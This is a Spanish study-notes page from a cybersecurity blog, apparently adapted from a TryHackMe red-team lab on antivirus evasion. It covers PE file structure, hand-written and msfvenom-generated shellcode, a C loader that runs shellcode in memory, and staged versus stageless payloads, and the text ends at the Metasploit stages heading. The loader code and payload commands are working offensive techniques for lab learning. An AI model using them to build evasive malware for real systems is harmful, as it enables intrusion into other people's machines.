notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • PE Structure
  • Why do we need to know about PE?
  • PE-Bear
  • Introduction to Shellcode
  • ¡Un código Shell simple!
  • Generate Shellcode
  • Generar shellcode usando herramientas públicas
  • Inyección de código shell
  • Generar Shellcode a partir de archivos EXE
  • Staged Payloads
  • Cargas útiles sin etapas
  • Cargas útiles en etapas
  • En escena versus sin etapas
  • Etapas en Metasploit
  • Creando tu propio escenario
  • Usando nuestro stager para ejecutar un shell inverso
  • Introduction to Encoding and Encryption
  • ¿Qué es la codificación?
  • ¿Qué es el cifrado?
  • Shellcode Encoding and Encryption
  • Codificar usando MSFVenom
  • Cifrado usando MSFVenom
  • Crear una carga útil personalizada
  • Packers
  • Empacar una aplicación
  • Empacadores y AV
  • Empaquetando nuestro código shell
  • Entonces, ¿qué hacemos ahora?
  • Binders
  • Unión con msfvenom
  • Carpetas y AV
  1. Red Team Path - THM
  2. Host Evasion

AV Evasion ShellCode

AnteriorIntroducción a AntivirusSiguientePrincipios de Ofuscación

Última actualización hace 10 meses

PE Structure

El formato de archivo ejecutable de Windows, también conocido como PE (Portable Executable), es una estructura de datos que contiene la información necesaria para los archivos. Es una forma de organizar el código de un archivo ejecutable en un disco. Los componentes del sistema operativo Windows, como los cargadores de Windows y DOS, pueden cargarlo en la memoria y ejecutarlo en función de la información del archivo analizado que se encuentra en el PE.

En general, la estructura de archivos predeterminada de los binarios de Windows, como los archivos EXE, DLL y de código objeto, tiene la misma estructura PE y funciona en el sistema operativo Windows para ambas arquitecturas de CPU (x86 y x64).

Una estructura PE contiene varias secciones que contienen información sobre el binario, como metadatos y enlaces a una dirección de memoria de bibliotecas externas. Una de estas secciones es el encabezado PE , que contiene información de metadatos, punteros y enlaces para abordar secciones en la memoria. Otra sección es la sección Datos , que incluye contenedores que incluyen la información necesaria para que el cargador de Windows ejecute un programa, como el código ejecutable, recursos, enlaces a bibliotecas, variables de datos, etc.

Hay diferentes tipos de contenedores de datos en la estructura PE, cada uno de los cuales contiene datos diferentes.

  1. .text almacena el código real del programa

  2. .data contiene las variables inicializadas y definidas

  3. .bss contiene los datos no inicializados (variables declaradas sin valores asignados)

  4. .rdata contiene los datos de solo lectura

  5. .edata : contiene objetos exportables e información de tabla relacionada

  6. .idata objetos importados e información de tabla relacionada

  7. .reloc información de reubicación de imagen

  8. .rsrc vincula recursos externos utilizados por el programa, como imágenes, íconos, archivos binarios integrados y archivos de manifiesto, que contienen toda la información sobre las versiones del programa, los autores, la empresa y los derechos de autor.

La estructura del PE es un tema amplio y complicado, y no vamos a entrar en demasiados detalles sobre los encabezados y las secciones de datos. Esta tarea proporciona una descripción general de alto nivel de la estructura de PE. Si estás interesado en obtener más información sobre el tema, te sugerimos consultar las siguientes salas de THM donde se explica con mayor detalle el tema:

  • Disección de encabezados de PE

Al observar el contenido de PE, veremos que contiene un montón de bytes que no son legibles por humanos. Sin embargo, incluye todos los detalles que el cargador necesita para ejecutar el archivo. Los siguientes son pasos de ejemplo en los que el cargador de Windows lee un binario ejecutable y lo ejecuta como un proceso.

  1. Secciones de encabezado: DOS, Windows y encabezados opcionales se analizan para proporcionar información sobre el archivo EXE. Por ejemplo,

  • El número mágico comienza con "MZ", que le indica al cargador que se trata de un archivo EXE.

  • Firmas de archivos

  • Si el archivo está compilado para la arquitectura de CPU x86 o x64.

  • Marca de tiempo de creación.

  1. Analizar los detalles de la tabla de secciones, como

  • Número de secciones que contiene el archivo.

  1. Mapear el contenido del archivo en la memoria según

  • La dirección de EntryPoint y el desplazamiento de ImageBase.

  • RVA: Dirección Virtual Relativa, Direcciones relacionadas con Imagebase.

  1. Las importaciones, DLL y otros objetos se cargan en la memoria.

  2. Se localiza la dirección EntryPoint y se ejecuta la función de ejecución principal.

Why do we need to know about PE?

Hay un par de razones por las que necesitamos aprender sobre esto. Primero, dado que estamos tratando con temas de empaque y desempaque, la técnica requiere detalles sobre la estructura del PE.

La otra razón es que los analistas de software antivirus y malware analizan los archivos EXE en función de la información del encabezado PE y otras secciones de PE. Por lo tanto, para crear o modificar malware con capacidad de evasión antivirus dirigido a una máquina con Windows, debemos comprender la estructura de los archivos ejecutables portátiles de Windows y dónde se puede almacenar el código shell malicioso.

Podemos controlar en qué sección de Datos almacenar nuestro código de shell según cómo definimos e inicializamos la variable de código de shell. Los siguientes son algunos ejemplos que muestran cómo podemos almacenar el código shell en PE:

  1. Definir el código de shell como una variable local dentro de la función principal lo almacenará en la sección .TEXT PE.

  2. Definir el código shell como una variable global lo almacenará en la sección .Data .

  3. Otra técnica implica almacenar el código shell como un binario sin formato en una imagen de icono y vincularlo dentro del código, por lo que, en este caso, aparece en la sección Datos .rsrc .

  4. Podemos agregar una sección de datos personalizada para almacenar el código shell.

PE-Bear

La VM adjunta es una máquina de desarrollo de Windows que tiene las herramientas necesarias para analizar archivos EXE y leer los detalles que comentamos. Para su comodidad, proporcionamos una copia del software PE-Bear en el escritorio, que ayuda a verificar la estructura de PE: encabezados, secciones, etc. PE-Bear proporciona una interfaz gráfica de usuario para mostrar todos los detalles EXE relevantes. Para cargar un archivo EXE para su análisis, seleccione Archivo -> Cargar PE (Ctrl + O).

Una vez que se carga un archivo, podemos ver todos los detalles de PE. La siguiente captura de pantalla muestra los detalles de PE del archivo cargado, incluidos los encabezados y las secciones que analizamos anteriormente en esta tarea.

Introduction to Shellcode

Shellcode es un conjunto de instrucciones de código de máquina diseñadas que le indican al programa vulnerable que ejecute funciones adicionales y, en la mayoría de los casos, proporciona acceso a un shell del sistema o crea un shell de comando inverso.

Una vez que el shellcode se inyecta en un proceso y el software o programa vulnerable lo ejecuta, modifica el flujo de ejecución del código para actualizar los registros y funciones del programa para ejecutar el código del atacante.

Generalmente está escrito en lenguaje ensamblador y traducido a códigos de operación hexadecimales (códigos operativos). Escribir un código shell único y personalizado ayuda a evadir significativamente el software antivirus. Pero escribir un código shell personalizado requiere excelentes conocimientos y habilidades para manejar el lenguaje ensamblador, ¡lo cual no es una tarea fácil!

¡Un código Shell simple!

Para crear su propio código shell, se requiere un conjunto de habilidades:

  • Una comprensión decente de las arquitecturas de CPU x86 y x64.

  • Lenguaje ensamblador.

  • Fuerte conocimiento de lenguajes de programación como C.

  • Familiaridad con los sistemas operativos Linux y Windows.

Para generar nuestro propio código shell, necesitamos escribir y extraer bytes del código máquina ensamblador. Para esta tarea, usaremos AttackBox para crear un código shell simple para Linux que escriba la cadena "THM, Rocks!". El siguiente código ensamblador utiliza dos funciones principales:

  • Función de escritura del sistema (sys_write) para imprimir una cadena que elijamos.

  • Función de salida del sistema (sys_exit) para finalizar la ejecución del programa.

Para llamar a esas funciones, usaremos syscalls . Una llamada al sistema es la forma en que un programa solicita al núcleo que haga algo. En este caso, solicitaremos al kernel que escriba una cadena en nuestra pantalla y salga del programa. Cada sistema operativo tiene una convención de llamada diferente con respecto a las llamadas al sistema, lo que significa que para usar la escritura en Linux, probablemente usará una llamada al sistema diferente a la que usaría en Windows. Para Linux de 64 bits, puede llamar las funciones necesarias desde el kernel configurando los siguientes valores:

rax

System Call

rdi

rsi

rdx

0x1

sys_write

unsigned int fd

const char buf

size_t count

0x3c

sys_exit

int error_code

Para sys_write, el primer parámetro enviado rdies el descriptor de archivo en el que escribir. El segundo parámetro rsies un puntero a la cadena que queremos imprimir y el tercero rdxes el tamaño de la cadena a imprimir.

Para sys_exit, rdi debe configurarse con el código de salida del programa. Usaremos el código 0, lo que significa que el programa salió exitosamente.

Copie el siguiente código a su AttackBox en un archivo llamado thm.asm:

global _start

section .text
_start:
    jmp MESSAGE      ; 1) let's jump to MESSAGE

GOBACK:
    mov rax, 0x1
    mov rdi, 0x1
    pop rsi          ; 3) we are popping into `rsi`; now we have the
                     ; address of "THM, Rocks!\r\n"
    mov rdx, 0xd
    syscall

    mov rax, 0x3c
    mov rdi, 0x0
    syscall

MESSAGE:
    call GOBACK       ; 2) we are going back, since we used `call`, that means
                      ; the return address, which is, in this case, the address
                      ; of "THM, Rocks!\r\n", is pushed into the stack.
    db "THM, Rocks!", 0dh, 0ah

Expliquemos un poco más el código ASM. Primero, nuestra cadena de mensaje se almacena al final de la sección .text. Como necesitamos un puntero a ese mensaje para imprimirlo, saltaremos a la instrucción de llamada antes del mensaje en sí. Cuando call GOBACKse ejecuta, la dirección de la siguiente instrucción después de la llamada se insertará en la pila, que corresponde a donde está nuestro mensaje. Tenga en cuenta que 0dh, 0ah al final del mensaje es el equivalente binario a una nueva línea (\r\n).

A continuación, el programa inicia la rutina GOBACK y prepara los registros necesarios para nuestra primera función sys_write().

  • Especificamos la función sys_write almacenando 1 en el registro rax.

  • Configuramos rdi en 1 para imprimir la cadena en la consola del usuario (STDOUT).

  • Colocamos un puntero a nuestra cadena, que se envió cuando llamamos a GOBACK y lo almacenamos en rsi.

  • Con la instrucción syscall ejecutamos la función sys_write con los valores que preparamos.

  • Para la siguiente parte, hacemos lo mismo para llamar a la función sys_exit, por lo que configuramos 0x3c en el registro rax y llamamos a la función syscall para salir del programa.

A continuación, compilamos y vinculamos el código ASM para crear un archivo ejecutable de Linux x64 y finalmente ejecutamos el programa.

Ensamblador y enlace de nuestro código.

user@AttackBox$ nasm -f elf64 thm.asm
user@AttackBox$ ld thm.o -o thm
user@AttackBox$ ./thm
THM,Rocks!

Usamos el nasmcomando para compilar el archivo asm, especificando la -f elf64opción para indicar que estamos compilando para Linux de 64 bits. Observe que como resultado obtenemos un archivo .o, que contiene código objeto, que debe vincularse para que sea un archivo ejecutable que funcione. El ldcomando se utiliza para vincular el objeto y obtener el ejecutable final. La -oopción se utiliza para especificar el nombre del archivo ejecutable de salida.

Ahora que tenemos el programa ASM compilado, extraigamos el código shell con el objdumpcomando volcando la sección .text del binario compilado.

Volcar la sección .text

user@AttackBox$ objdump -d thm

thm:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	eb 1e                	jmp    4000a0 

0000000000400082 :
  400082:	b8 01 00 00 00       	mov    $0x1,%eax
  400087:	bf 01 00 00 00       	mov    $0x1,%edi
  40008c:	5e                   	pop    %rsi
  40008d:	ba 0d 00 00 00       	mov    $0xd,%edx
  400092:	0f 05                	syscall 
  400094:	b8 3c 00 00 00       	mov    $0x3c,%eax
  400099:	bf 00 00 00 00       	mov    $0x0,%edi
  40009e:	0f 05                	syscall 

00000000004000a0 :
  4000a0:	e8 dd ff ff ff       	callq  400082 
  4000a5:	54                   	push   %rsp
  4000a6:	48                   	rex.W
  4000a7:	4d 2c 20             	rex.WRB sub $0x20,%al
  4000aa:	52                   	push   %rdx
  4000ab:	6f                   	outsl  %ds:(%rsi),(%dx)
  4000ac:	63 6b 73             	movslq 0x73(%rbx),%ebp
  4000af:	21                   	.byte 0x21
  4000b0:	0d                   	.byte 0xd
  4000b1:	0a                   	.byte 0xa

Ahora necesitamos extraer el valor hexadecimal del resultado anterior. Para hacer eso, podemos usar objcopy para volcar la .textsección en un nuevo archivo llamado thm.texten formato binario de la siguiente manera:

Extrae la sección .text

user@AttackBox$ objcopy -j .text -O binary thm thm.text

El thm.text contiene nuestro código shell en formato binario, por lo que para poder usarlo, primero necesitaremos convertirlo a hexadecimal. El xxdcomando tiene la -iopción de generar el archivo binario en una cadena C directamente:

Genera el equivalente hexadecimal de nuestro código shell.

user@AttackBox$ xxd -i thm.text
unsigned char new_text[] = {
  0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
  0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
  0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
  0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
  0x0d, 0x0a
};
unsigned int new_text_len = 50;

Finalmente lo tenemos, un código shell formateado de nuestro ensamblado ASM. ¡Eso fue divertido! Como vemos, se requiere dedicación y habilidades para generar shellcode para tu trabajo.

Para confirmar que el código shell extraído funciona como esperábamos, podemos ejecutar nuestro código shell e inyectarlo en un programa C.

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
        0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
        0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
        0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
        0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
        0x0d, 0x0a
    };
    
    (*(void(*)())message)();
    return 0;
}

Luego, lo compilamos y ejecutamos de la siguiente manera,

Compilador de nuestro programa C.

user@AttackBox$ gcc -g -Wall -z execstack thm.c -o thmx
user@AttackBox$ ./thmx
THM,Rocks!

¡Lindo! funciona. Tenga en cuenta que compilamos el programa C deshabilitando la protección NX, lo que puede impedirnos ejecutar el código correctamente en el segmento o pila de datos.

Comprender los códigos shell y cómo se crean es esencial para las siguientes tareas, especialmente cuando se trata de cifrar y codificar el código shell.

Responda las siguientes preguntas

Modifique su programa C para ejecutar el siguiente código shell. ¿Qué es la bandera?

unsigned char message[] = {
  0xeb, 0x34, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x5e, 0x48, 0x89, 0xf0, 0x80,
  0x34, 0x08, 0x01, 0x48, 0x83, 0xc1, 0x01, 0x48, 0x83, 0xf9, 0x19, 0x75,
  0xf2, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xba,
  0x19, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf,
  0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x55,
  0x49, 0x4c, 0x7a, 0x78, 0x31, 0x74, 0x73, 0x2c, 0x30, 0x72, 0x36, 0x2c,
  0x34, 0x69, 0x32, 0x30, 0x30, 0x62, 0x31, 0x65, 0x32, 0x7c, 0x0d, 0x0a
};

Generate Shellcode

Generar shellcode usando herramientas públicas

Shellcode se puede generar para un formato específico con un lenguaje de programación particular. Esto depende de ti. Por ejemplo, si su cuentagotas, que es el archivo exe principal, contiene el código shell que se enviará a la víctima y está escrito en C, entonces necesitamos generar un formato de código shell que funcione en C.

La ventaja de generar shellcode a través de herramientas públicas es que no necesitamos crear un shellcode personalizado desde cero y ni siquiera necesitamos ser expertos en lenguaje ensamblador. La mayoría de los marcos C2 públicos proporcionan su propio generador de código shell compatible con la plataforma C2. Por supuesto, esto es muy conveniente para nosotros, pero el inconveniente es que la mayoría, o podemos decir todos, los shellcodes generados son bien conocidos por los proveedores de AV y pueden detectarse fácilmente.

Usaremos Msfvenom en AttackBox para generar un código shell que ejecute archivos de Windows. Crearemos un código shell que ejecute la calc.exe aplicación.

Generar Shellcode para ejecutar calc.exe

user@AttackBox$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of c file: 835 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

Como resultado, el marco Metasploit genera un código shell que ejecuta la calculadora de Windows (calc.exe). La calculadora de Windows se utiliza ampliamente como ejemplo en el proceso de desarrollo de malware para mostrar una prueba de concepto. Si la técnica funciona, aparecerá una nueva instancia de la calculadora de Windows. Esto confirma que cualquier código shell ejecutable funciona con el método utilizado.

Inyección de código shell

Los piratas informáticos inyectan shellcode en un hilo nuevo o en ejecución y lo procesan utilizando diversas técnicas. Las técnicas de inyección de Shellcode modifican el flujo de ejecución del programa para actualizar los registros y funciones del programa para ejecutar el propio código del atacante.

Ahora continuemos usando el código shell generado y ejecutémoslo en el sistema operativo. El siguiente es un código C que contiene nuestro código shell generado que se inyectará en la memoria y ejecutará "calc.exe".

En AttackBox, guardemos lo siguiente en un archivo llamado : calc.c

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

Ahora compilémoslo como un archivo exe:

Compile nuestro programa C para Windows

user@AttackBox$ i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Una vez que tengamos nuestro archivo exe, transfirámoslo a la máquina con Windows y ejecutémoslo. Para transferir el archivo, puede usar smbclient desde su AttackBox para acceder al recurso compartido SMB en \MACHINE_IP\Tools con los siguientes comandos (recuerde que la contraseña delthm usuario es Password321):

Copie calc-MSC.exe a la máquina Windows

user@AttackBox$ smbclient -U thm '//MACHINE_IP/Tools'
smb: \> put calc-MSF.exe

Esto debería copiar su archivo en C:\Tools\la máquina con Windows.

Si bien el AV de su máquina debería estar desactivado, no dude en intentar cargar su carga útil en THM Antivirus Check enhttp://MACHINE_IP/ .

El marco Metasploit tiene muchos otros formatos y tipos de shellcode para todas sus necesidades. Le sugerimos encarecidamente que experimente más con él y amplíe sus conocimientos generando diferentes códigos de shell.

El ejemplo anterior muestra cómo generar shellcode y ejecutarlo dentro de una máquina de destino. Por supuesto, puede replicar los mismos pasos para crear diferentes tipos de shellcode, por ejemplo, el shellcode de Meterpreter.

Generar Shellcode a partir de archivos EXE

Shellcode también se puede almacenar en .binarchivos, que es un formato de datos sin procesar. En este caso, podemos obtener su código shell usando el xxd -i comando.

C2 Frameworks proporciona shellcode como un archivo binario sin formato .bin. Si este es el caso, podemos usar el comando del sistema Linuxxxd para obtener la representación hexadecimal del archivo binario. Para ello ejecutamos el siguiente comando:xxd -i.

Creemos un archivo binario sin formato usando msfvenom para obtener el código shell:

Genere un código shell sin formato para ejecutar calc.exe

user@AttackBox$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
No encoder specified, outputting raw payload
Payload size: 193 bytes

user@AttackBox$ file /tmp/example.bin
/tmp/example.bin: data

Y ejecute el xxd comando en el archivo creado:

Obtenga el código shell usando el comando xxd

user@AttackBox$ xxd -i /tmp/example.bin
unsigned char _tmp_example_bin[] = {
  0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
  0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
  0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
  0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
  0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
  0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
  0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
  0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
  0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
  0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
  0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
  0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,
  0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5,
  0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,
  0x00
};
unsigned int _tmp_example_bin_len = 193;

Si comparamos la salida con el código shell anterior creado con Metasploit , coincide.

Staged Payloads

En nuestro objetivo de evitar el AV , encontraremos dos enfoques principales para entregar el código shell final a una víctima. Dependiendo del método, encontrará que las cargas útiles generalmente se clasifican como cargas útiles en etapas o sin etapas . En esta tarea, veremos las diferencias entre ambos enfoques y las ventajas de cada método.

Cargas útiles sin etapas

Una carga útil sin etapas incorpora el código shell final directamente en sí misma. Piense en ello como una aplicación empaquetada que ejecuta el código shell en un proceso de un solo paso. En tareas anteriores, incorporamos un ejecutable que incorporaba un calccódigo de shell simple, creando una carga útil sin etapas.

En el ejemplo anterior, cuando el usuario ejecuta la carga maliciosa, se ejecutará el código de shell incrustado, proporcionando un shell inverso al atacante.

Cargas útiles en etapas

Las cargas útiles por etapas funcionan mediante el uso de shellcodes intermediarios que actúan como pasos que conducen a la ejecución de un shellcode final. Cada uno de estos shellcodes intermediarios se conoce como stager y su objetivo principal es proporcionar un medio para recuperar el shellcode final y ejecutarlo eventualmente.

Si bien puede haber cargas útiles con varias etapas, el caso habitual implica tener una carga útil de dos etapas donde la primera etapa, a la que llamaremos stage0 , es un código shell stub que se conectará nuevamente a la máquina del atacante para descargar el código shell final. ejecutado.

Una vez recuperado, el código auxiliar de stage0 inyectará el código de shell final en algún lugar de la memoria del proceso de carga útil y lo ejecutará (como se muestra a continuación).

En escena versus sin etapas

Al decidir qué tipo de carga útil usar, debemos ser conscientes del entorno que atacaremos. Cada tipo de carga útil tiene ventajas y desventajas según el escenario de ataque específico.

En el caso de cargas útiles sin etapas, encontrará las siguientes ventajas:

  • El ejecutable resultante incluye todo lo necesario para que nuestro código shell funcione.

  • La carga útil se ejecutará sin requerir conexiones de red adicionales. Cuantas menos interacciones en la red, menores serán tus posibilidades de ser detectado por un IPS .

  • Si está atacando un host con una conectividad de red muy restringida, es posible que desee que toda su carga útil esté en un solo paquete.

Para cargas útiles por etapas, tendrá:

  • Tamaño reducido en disco. Dado que stage0 solo se encarga de descargar el código shell final, lo más probable es que sea de tamaño pequeño.

  • El código shell final no está incrustado en el ejecutable. Si se captura su carga útil, el Equipo Azul solo tendrá acceso al código auxiliar de stage0 y nada más.

  • El shellcode final se carga en la memoria y nunca toca el disco. Esto lo hace menos propenso a ser detectado por soluciones antivirus .

  • Puedes reutilizar el mismo dropper stage0 para muchos shellcodes, ya que puedes simplemente reemplazar el shellcode final que se entrega a la máquina víctima.

En conclusión, no podemos decir que ningún tipo es mejor que el otro a menos que le agreguemos algo de contexto. En general, las cargas útiles sin etapas son más adecuadas para redes con mucha seguridad perimetral, ya que no dependen de tener que descargar el código shell final de Internet. Si, por ejemplo, está realizando un USB Drop Attack dirigido a computadoras en un entorno de red cerrado donde sabe que no obtendrá una conexión nuevamente con su máquina, el camino a seguir es sin etapas.

Las cargas útiles por etapas, por otro lado, son excelentes cuando desea reducir al mínimo su huella en la máquina local. Dado que ejecutan la carga útil final en la memoria, algunas soluciones antivirus pueden tener más dificultades para detectarlos. También son excelentes para evitar exponer sus códigos shell (que generalmente requieren un tiempo considerable para prepararse), ya que el código shell no se coloca en el disco de la víctima en ningún momento (como un artefacto).

Etapas en Metasploit

